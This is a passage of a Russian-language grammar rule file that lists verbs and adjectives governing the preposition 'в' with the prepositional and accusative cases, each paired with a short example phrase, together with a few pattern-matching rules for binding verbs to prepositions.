rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
rus_verbs:выловить{}, // выловить в пруду
rus_verbs:вымачивать{}, // вымачивать в молоке
rus_verbs:вымачиваться{}, // вымачиваться в молоке
rus_verbs:вынюхивать{}, // вынюхивать в траве следы
rus_verbs:выпачкать{}, // выпачкать в смоле свою одежду
rus_verbs:выпачкаться{}, // выпачкаться в грязи
rus_verbs:вырастить{}, // вырастить в теплице ведро огурчиков
rus_verbs:выращивать{}, // выращивать в теплице помидоры
rus_verbs:выращиваться{}, // выращиваться в теплице
rus_verbs:вырыть{}, // вырыть в земле глубокую яму
rus_verbs:высадить{}, // высадить в пустынной местности
rus_verbs:высадиться{}, // высадиться в пустынной местности
rus_verbs:высаживать{}, // высаживать в пустыне
rus_verbs:высверливать{}, // высверливать в доске отверствие
rus_verbs:высверливаться{}, // высверливаться в стене
rus_verbs:высверлить{}, // высверлить в стене отверствие
rus_verbs:высверлиться{}, // высверлиться в стене
rus_verbs:выскоблить{}, // выскоблить в столешнице канавку
rus_verbs:высматривать{}, // высматривать в темноте
rus_verbs:заметить{}, // заметить в помещении
rus_verbs:оказаться{}, // оказаться в первых рядах
rus_verbs:душить{}, // душить в объятиях
rus_verbs:оставаться{}, // оставаться в классе
rus_verbs:появиться{}, // впервые появиться в фильме
rus_verbs:лежать{}, // лежать в футляре
rus_verbs:раздаться{}, // раздаться в плечах
rus_verbs:ждать{}, // ждать в здании вокзала
rus_verbs:жить{}, // жить в трущобах
rus_verbs:постелить{}, // постелить в прихожей
rus_verbs:оказываться{}, // оказываться в неприятной ситуации
rus_verbs:держать{}, // держать в голове
rus_verbs:обнаружить{}, // обнаружить в себе способность
rus_verbs:начинать{}, // начинать в лаборатории
rus_verbs:рассказывать{}, // рассказывать в лицах
rus_verbs:ожидать{}, // ожидать в помещении
rus_verbs:продолжить{}, // продолжить в помещении
rus_verbs:состоять{}, // состоять в группе
rus_verbs:родиться{}, // родиться в рубашке
rus_verbs:искать{}, // искать в кармане
rus_verbs:иметься{}, // иметься в наличии
rus_verbs:говориться{}, // говориться в среде панков
rus_verbs:клясться{}, // клясться в верности
rus_verbs:узнавать{}, // узнавать в нем своего сына
rus_verbs:признаться{}, // признаться в ошибке
rus_verbs:сомневаться{}, // сомневаться в искренности
rus_verbs:толочь{}, // толочь в ступе
rus_verbs:понадобиться{}, // понадобиться в суде
rus_verbs:служить{}, // служить в пехоте
rus_verbs:потолочь{}, // потолочь в ступе
rus_verbs:появляться{}, // появляться в театре
rus_verbs:сжать{}, // сжать в объятиях
rus_verbs:действовать{}, // действовать в постановке
rus_verbs:селить{}, // селить в гостинице
rus_verbs:поймать{}, // поймать в лесу
rus_verbs:увидать{}, // увидать в толпе
rus_verbs:подождать{}, // подождать в кабинете
rus_verbs:прочесть{}, // прочесть в глазах
rus_verbs:тонуть{}, // тонуть в реке
rus_verbs:ощущать{}, // ощущать в животе
rus_verbs:ошибиться{}, // ошибиться в расчетах
rus_verbs:отметить{}, // отметить в списке
rus_verbs:показывать{}, // показывать в динамике
rus_verbs:скрыться{}, // скрыться в траве
rus_verbs:убедиться{}, // убедиться в корректности
rus_verbs:прозвучать{}, // прозвучать в наушниках
rus_verbs:разговаривать{}, // разговаривать в фойе
rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
